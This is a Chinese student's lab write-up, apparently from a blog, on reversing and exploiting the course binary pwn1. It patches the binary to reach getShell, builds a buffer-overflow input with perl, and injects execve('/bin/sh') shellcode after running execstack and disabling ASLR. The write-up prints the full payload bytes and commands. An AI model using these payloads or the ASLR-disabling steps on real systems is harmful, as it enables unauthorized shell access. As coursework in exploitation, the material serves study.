网络对抗第一次实验——PC平台逆向破解(5)M
网络对抗第一次实验——PC平台逆向破解(5)M
实践一
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
操作步骤:
- 获取实验用文件pwn1,复制,复制出来的文件改名为20155223。
以文本文件形式打开可执行文件20155223。
- 输入指令!xxd将文本以16进制显示。
- 寻找目标:/e8d7将d7更改为c3.
- 输入指令!xxd -r将16进制文本文件转换回原来的版本,保存后退出。
在终端输入命令行:objdump -d 2015523 | more,反汇编刚才被修改后的文件。
的确有变化,函数的返回地址改了。
实践二
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
使用文件是原来的pwn1文件。
想要知道怎么样才能将覆盖到返回地址来触发getShell函数,首先要构造一条无序字节输入,然后通过反汇编来找异常地点。
- 使用gdb打开文件pwn1,输入r让其运行,然后输入“1111111122222222333333334444444420155223”。
- 输入命令info r,查看寄存器部分。
发现寄存器eip存储的字符为0x35303132,可以肯定eip寄存器存的是“5102”,这就肯定输入的结构要按eip的方式来构建。
- 建造输入perl -e 'print "00000000000000000000000000000000\x7d\x84\x04\x08\x0a"' > input,,输入xxd input查看输入的16进制格式,执行程序。
实践三
注入一个自己制作的shellcode并运行这段shellcode。
shellcode为linux格式下的机器码。
首先使用apt-get install execstack命令安装execstack。
- 进行以下操作为实验3做准备。
execstack -s pwn20155233 //设置堆栈可执行
execstack -q pwn20155233 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space 构造输入。
再打开另一个终端,输入ps -ef | grep pwn1。之前打开的中断输入命令(cat input_shellcode;cat) | ./pwn1。
然后我们来设置断点,首先输入disassemble foo,查看foo的栈地址,然后选择设置断点,break 0x080484ae。
经过一番查找,发现16进制0x90909090,即发现存储地址0xffffd2b0*。
- 修改输入:perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
执行命令:(cat input_shellcode;pwn1) | ./pwn1。
不知道我为什么会出现这样的结果。尽管底下出现的不是“段错误”,但是为什么会是“非法命令”。
网络对抗第一次实验——PC平台逆向破解(5)M的更多相关文章
- 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解
2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...
- 20155324《网络对抗》Exp1 PC平台逆向破解(5)M
20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...
- 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解
20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...
- 20145325张梓靖 《网络对抗技术》 PC平台逆向破解
20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...
- 20155217《网络对抗》Exp01 PC平台逆向破解(5)M
20155217<网络对抗>Exp01 PC平台逆向破解(5)M 实验要求 掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码 掌握反汇编与十六进制编程器 能正确修改机器指令改变程序 ...
- 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M
20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...
- # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟
<网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...
- 20145206邹京儒《网络对抗技术》 PC平台逆向破解
20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...
- 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解
20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...
随机推荐
- ebook
libgen.io onlybooks.org www.ebook3000.com www.foxebook.net
- profile,bashrc,.bash_profile,.bash_login,.profile,.bashrc,.bash_logout浅析 Part 2
profile,bashrc,.bash_profile,.bash_login,.profile,.bashrc,.bash_logout浅析 Part 2 by:授客 QQ:103355312 ...
- Android系统常用的adb命令
自己工作中经常要用一些Android的adb命令,把常用的adb命令记录一下,留作备忘. adb devices 查看当前连接的设备 adb install 安装 adb install拖动apk到命 ...
- Oracle EBS OPM 创建生产批
--创建生产批 --created by jenrry DECLARE x_message_count NUMBER; x_message_list VARCHAR2 (2000); x_return ...
- python selenium爬取自如租房数据保存到TXT文件
# -*- coding: utf-8 -*-"""Created on Fri Aug 31 2018 @author: chenlinlab"" ...
- Oracle中,时间的相关操作方法
无论是DATE还是timestamp都可以进行加减操作.可以对当前日期加年.月.日.时.分.秒,操作不同的时间类型,有三种方法: 1 使用内置函数numtodsinterval增加小时,分钟和秒2 加 ...
- 检测到在集成的托管管道模式下不适用的 ASP.NET 设置
system.webServer节点下加上 <validation validateIntegratedModeConfiguration="false" />
- 转:前端js、jQuery实现日期格式化、字符串格式化
1. js仿后台的字符串的StringFormat方法 在做前端页面时候,经常会对字符串进行拼接处理,但是直接使用字符串拼接,不但影响阅读,而且影响执行效率,且jQuery有没有定义字符串的Strin ...
- months_between()用法
orcl中months_between()函数用法如下: 格式:即MONTHS_BETWEEN(日期1,日期2) 例如: select months_between(to_date('2018-10- ...
- iOS 固定定位不兼容、input获取焦点后位置不对。
第一次写博客~ 大家悠着看,有则改之,无则加冕,对不对的给个回复,让我知道你的存在. 在做活动页的时候,经常会碰到一些需要弹出显示的输入框(情节前提:本人安卓机~),前天自己写的时候自己调试没问题后 ...